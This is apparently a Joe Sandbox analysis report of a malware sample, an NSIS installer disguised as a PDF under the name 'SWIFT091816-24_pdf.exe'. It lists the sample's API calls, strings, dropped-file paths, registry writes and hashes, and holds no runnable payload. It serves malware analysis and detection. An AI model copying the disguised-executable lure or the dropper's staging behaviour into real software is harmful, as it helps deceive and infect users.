"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe", xrefs: 0040584F
C:\Users\user\AppData\Local\Temp\, xrefs: 00405853

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-4064433139
Opcode ID: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085A8,?,00000001,00408598,?,?,00000045,000000CD,00000002,000000DF,?), ref: 00402114

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving
API String ID: 542301482-2168965836
Opcode ID: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction ID: 1a24425b30559046e2e45c95ea19553466384e890d2313978d3609d0df4c75fa
Opcode Fuzzy Hash: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction Fuzzy Hash: 3E412C71A00208AFCF00DFA4CD88AAD7BB5FF48314B24457AF515EB2D1DBB99A41CB54

Function 00406398 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(74DF3420,004302B8,0042FA70,00405B5A,0042FA70,0042FA70,00000000,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\), ref: 004063A3
FindClose.KERNEL32(00000000), ref: 004063AF

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction ID: 3b49439eae3a82ac9864466e1d27f896d1b9bc200308884f11696e1f8cd425af
Opcode Fuzzy Hash: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction Fuzzy Hash: 3AD012755081209BC28117386E0C84B7A5C9F193317115B36FE6BF22E0CB388C6786DC

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction ID: 801a3ec73fa0f8c7b921e95059ce856047ace0635644dd2743fa1cdad283ab42
Opcode Fuzzy Hash: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction Fuzzy Hash: C5F08C71A005149BCB01EFA4DE49AAEB378FF04324F2045BBF105F31E1E7B89A409B29

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetUserDefaultUILanguage.KERNELBASE(00000002,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"), ref: 004038B8

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"), ref: 0040391F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420), ref: 0040399F
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(Call), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving), ref: 00403A06
RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

_Nb, xrefs: 00403A22, 00403A8A
RichEd32, xrefs: 00403ADA
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 0040392E, 00403936, 004039D9, 004039DF, 004039EF
Call, xrefs: 00403966, 0040396F, 0040397D, 004039CC, 004039D2
C:\Users\user\AppData\Local\Temp\, xrefs: 004038A3
1033, xrefs: 004038BE, 0040391A
RichEdit20W, xrefs: 00403AEA, 00403AF0
.exe, xrefs: 004039AC
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
RichEdit, xrefs: 00403AF9
.DEFAULT\Control Panel\International, xrefs: 0040390A
"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe", xrefs: 004038A1
RichEd20, xrefs: 00403ACC

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-1100091151
Opcode ID: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54
C:\Users\user\Desktop\SWIFT091816-24_pdf.exe, xrefs: 00402E05, 00402E14, 00402E28, 00402E48
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe", xrefs: 00402DF4
Error launching installer, xrefs: 00402E3E
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
soft, xrefs: 00402EDC
Null, xrefs: 00402EE5
Inst, xrefs: 00402ED3
(*B, xrefs: 00402E7C

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"$(*B$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\SWIFT091816-24_pdf.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-205756598
Opcode ID: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00401796
C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll, xrefs: 0040182D, 00401849
C:\Users\user\AppData\Local\Temp\nsq69D9.tmp, xrefs: 00401819, 00401837
Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\nsq69D9.tmp$C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll$Call
API String ID: 1941528284-441910825
Opcode ID: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004031F1
jA, xrefs: 004030E7
... %d%%, xrefs: 0040316E

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNELBASE(?,?,?,00000001,?,?,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsq69D9.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsq69D9.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsq69D9.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nsq69D9.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsq69D9.tmp
API String ID: 1356686001-4180625566
Opcode ID: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004056A9

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3081826266
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(?,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(?,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

